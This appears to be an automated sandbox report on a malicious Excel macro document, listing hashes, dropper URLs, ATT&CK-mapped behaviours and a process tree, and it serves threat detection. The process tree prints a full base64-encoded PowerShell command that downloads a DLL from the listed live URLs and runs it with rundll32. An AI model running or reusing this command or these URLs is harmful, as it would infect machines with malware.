a9960ef2b2dab858db0b74fb76eb3db3a471b26ed65dfbb307e155594ba29814

Analysis

max time kernel
53s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
02/02/2022, 03:22

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General

Target
2022-02-02-eb1f5e25394e8a4a08f8834445c895eb_unzipped.xls
Size 151KB
Sample220202-dw1k5sfdf3
SHA256 a9960ef2b2dab858db0b74fb76eb3db3a471b26ed65dfbb307e155594ba29814
MD5 eb1f5e25394e8a4a08f8834445c895eb
SHA1 7c38122bd672b2cab81b53898e41de90e7f74af7
SHA512 d419732595978b354fa0c691c798592d7c1ce35cb67857090584a1c48a4bc035630b37ff7b57f739275a796c368d5f47c7a6f202772d9a75d8c4d0f516590fe6
MD5 SHA1 SHA512

Score

10^/10

persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://aishyana.com/wp-admin/6pY001tdOxYb10/
exe.dropper
https://nccikeja.com/back/lOo46UEiVanm/
exe.dropper
https://mail.themintlist.com/wp-includes/S5xbjWOoM75ysw9xaM/
exe.dropper
https://karaah.com/kvxtqec/L8mqXiKjN95uoFOQqDS/
exe.dropper
https://mail.terinhumphrey.com/tasty-crab-promo/qBdohcsqomjFk/
exe.dropper
https://mail.gymcoachjose.com/ew9iwl/av20pfJZ44/
exe.dropper
https://sahayoghospitals.com/older/NFPLtNt4M3D1yYt/
exe.dropper
http://3.130.37.158/wp-admin/YDjVQgZv/
exe.dropper
https://stntools.com/js/uhTyC/
exe.dropper
https://www.dirtduel.com/db/v4gdL66Y/
exe.dropper
https://advancedguerrillamarketing.com/assets/oUD/
exe.dropper
https://orelco.net/wp-admin/5NiO/
exe.dropper
http://gainc.info/product3_files/PwAGXtbf6tn5r/
exe.dropper
https://astronomy24x7.com/wp-content/05ZGtxtrfIxNVb0M/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2288	2736	wscript.exe	80

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2736	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1056	svchost.exe
Token: SeCreatePagefilePrivilege	1056	svchost.exe
Token: SeShutdownPrivilege	1056	svchost.exe
Token: SeCreatePagefilePrivilege	1056	svchost.exe
Token: SeShutdownPrivilege	1056	svchost.exe
Token: SeCreatePagefilePrivilege	1056	svchost.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2288	2736	EXCEL.EXE	91
PID 2736 wrote to memory of 2288	2736	EXCEL.EXE	91
PID 2288 wrote to memory of 3416	2288	wscript.exe	92
PID 2288 wrote to memory of 3416	2288	wscript.exe	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-02-02-eb1f5e25394e8a4a08f8834445c895eb_unzipped.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    PID:3416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBhAGkAcwBoAHkAYQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADYAcABZADAAMAAxAHQAZABPAHgAWQBiADEAMAAvACwAaAB0AHQAcABzADoALwAvAG4AYwBjAGkAawBlAGoAYQAuAGMAbwBtAC8AYgBhAGMAawAvAGwATwBvADQANgBVAEUAaQBWAGEAbgBtAC8ALABoAHQAdABwAHMAOgAvAC8AbQBhAGkAbAAuAHQAaABlAG0AaQBuAHQAbABpAHMAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AUwA1AHgAYgBqAFcATwBvAE0ANwA1AHkAcwB3ADkAeABhAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwBrAGEAcgBhAGEAaAAuAGMAbwBtAC8AawB2AHgAdABxAGUAYwAvAEwAOABtAHEAWABpAEsAagBOADkANQB1AG8ARgBPAFEAcQBEAFMALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AdABlAHIAaQBuAGgAdQBtAHAAaAByAGUAeQAuAGMAbwBtAC8AdABhAHMAdAB5AC0AYwByAGEAYgAtAHAAcgBvAG0AbwAvAHEAQgBkAG8AaABjAHMAcQBvAG0AagBGAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AZwB5AG0AYwBvAGEAYwBoAGoAbwBzAGUALgBjAG8AbQAvAGUAdwA5AGkAdwBsAC8AYQB2ADIAMABwAGYASgBaADQANAAvACwAaAB0AHQAcABzADoALwAvAHMAYQBoAGEAeQBvAGcAaABvAHMAcABpAHQAYQBsAHMALgBjAG8AbQAvAG8AbABkAGUAcgAvAE4ARgBQAEwAdABOAHQANABNADMARAAxAHkAWQB0AC8ALABoAHQAdABwADoALwAvADMALgAxADMAMAAuADMANwAuADEANQA4AC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBEAGoAVgBRAGcAWgB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwB0AG4AdABvAG8AbABzAC4AYwBvAG0ALwBqAHMALwB1AGgAVAB5AEMALwAsAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGQAaQByAHQAZAB1AGUAbAAuAGMAbwBtAC8AZABiAC8AdgA0AGcAZABMADYANgBZAC8ALABoAHQAdABwAHMAOgAvAC8AYQBkAHYAYQBuAGMAZQBkAGcAdQBlAHIAcgBpAGwAbABhAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAG8AVQBEAC8ALABoAHQAdABwAHMAOgAvAC8AbwByAGUAbABjAG8ALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvADUATgBpAE8ALwAsAGgAdAB0AHAAOgAvAC8AZwBhAGkAbgBjAC4AaQBuAGYAbwAvAHAAcgBvAGQAdQBjAHQAMwBfAGYAaQBsAGUAcwAvAFAAdwBBAEcAWAB0AGIAZgA2AHQAbgA1AHIALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHMAdAByAG8AbgBvAG0AeQAyADQAeAA3AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA1AFoARwB0AHgAdAByAGYASQB4AE4AVgBiADAATQAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      PID:4388

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 19d686f547c0afa09d9c1358143735ae cf8gre/zKEWJTDzlkaynQg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1056-914-0x000001FC08830000-0x000001FC08834000-memory.dmp

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memory/2736-130-0x00007FF8D96F0000-0x00007FF8D9700000-memory.dmp

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memory/2736-131-0x00007FF8D96F0000-0x00007FF8D9700000-memory.dmp

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memory/2736-132-0x00007FF8D96F0000-0x00007FF8D9700000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads